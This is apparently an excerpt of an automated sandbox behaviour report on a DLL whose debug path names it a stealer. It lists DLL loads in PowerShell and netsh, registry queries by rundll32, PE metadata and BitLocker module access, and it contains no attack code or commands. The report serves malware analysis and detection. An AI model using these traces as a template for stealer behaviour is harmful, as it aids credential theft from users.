Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll

Source: C:\Windows\System32\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office

Jump to behavior

Source: hoPazBDFG9.dll

Static PE information: Image base 0x180000000 > 0x60000000

Source: hoPazBDFG9.dll

Static file information: File size 1281024 > 1048576

Source: hoPazBDFG9.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: hoPazBDFG9.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: hoPazBDFG9.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: hoPazBDFG9.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: hoPazBDFG9.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: hoPazBDFG9.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: hoPazBDFG9.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: hoPazBDFG9.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: ystem.Core.pdb source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdb source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 31bf3856ad364e35corlib.pdb&j source: powershell.exe, 0000000E.00000002.2549946104.00000200B2CF2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbU source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lambda_methodb.pdbm source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *.pdb source: powershell.exe, 0000000E.00000002.2553287177.00000200B2D30000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdbpdblib.pdb source: powershell.exe, 0000000E.00000002.2557754672.00000200B2DE4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbrce" -or source: powershell.exe, 0000000E.00000002.2557754672.00000200B2DE4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdb@>= source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdbs source: powershell.exe, 0000000E.00000002.2557754672.00000200B2DE4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rlib.pdb source: powershell.exe, 0000000E.00000002.2556699668.00000200B2DBA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: re.pdb source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\dll\mscorlib.pdb source: powershell.exe, 0000000E.00000002.2557754672.00000200B2DE4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Target.pdb source: powershell.exe, 0000000E.00000002.2545839869.00000200B2B0E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb45 source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbD source: powershell.exe, 0000000E.00000002.2549165332.00000200B2C92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000E.00000002.2556699668.00000200B2DBA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2448166359.00000200988F4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2639813053.0000022EC631D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 0000000E.00000002.2549165332.00000200B2C92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rlib.pdb* source: powershell.exe, 0000000E.00000002.2556699668.00000200B2DBA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbX source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbt source: powershell.exe, 0000000E.00000002.2549946104.00000200B2CAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb% source: powershell.exe, 0000000E.00000002.2544640898.00000200B2ACE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 00000014.00000002.2635471781.0000022EC6029000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Mktmp\StealerDLL\x64\Release\STEALERDLL.pdb source: hoPazBDFG9.dll
Source:	Binary string: softy.pdb.catK source: powershell.exe, 0000000E.00000002.2549946104.00000200B2CAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lib.pdb= source: powershell.exe, 00000014.00000002.2638276801.0000022EC62A6000.00000004.00000020.00020000.00000000.sdmp

Source: hoPazBDFG9.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: hoPazBDFG9.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: hoPazBDFG9.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: hoPazBDFG9.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: hoPazBDFG9.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: hoPazBDFG9.dll

Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFE160C7530 push ebx; iretd	12_2_00007FFE160C753A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFE160C7520 push ebx; iretd	12_2_00007FFE160C753A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFE16181FA9 push 8B485F91h; iretd	12_2_00007FFE16181FB1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFE16181FFE push 8B485F91h; iretd	12_2_00007FFE16182006
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFE16180587 push eax; ret	12_2_00007FFE16180592
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFE16181A11 push eax; ret	12_2_00007FFE16181A12

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
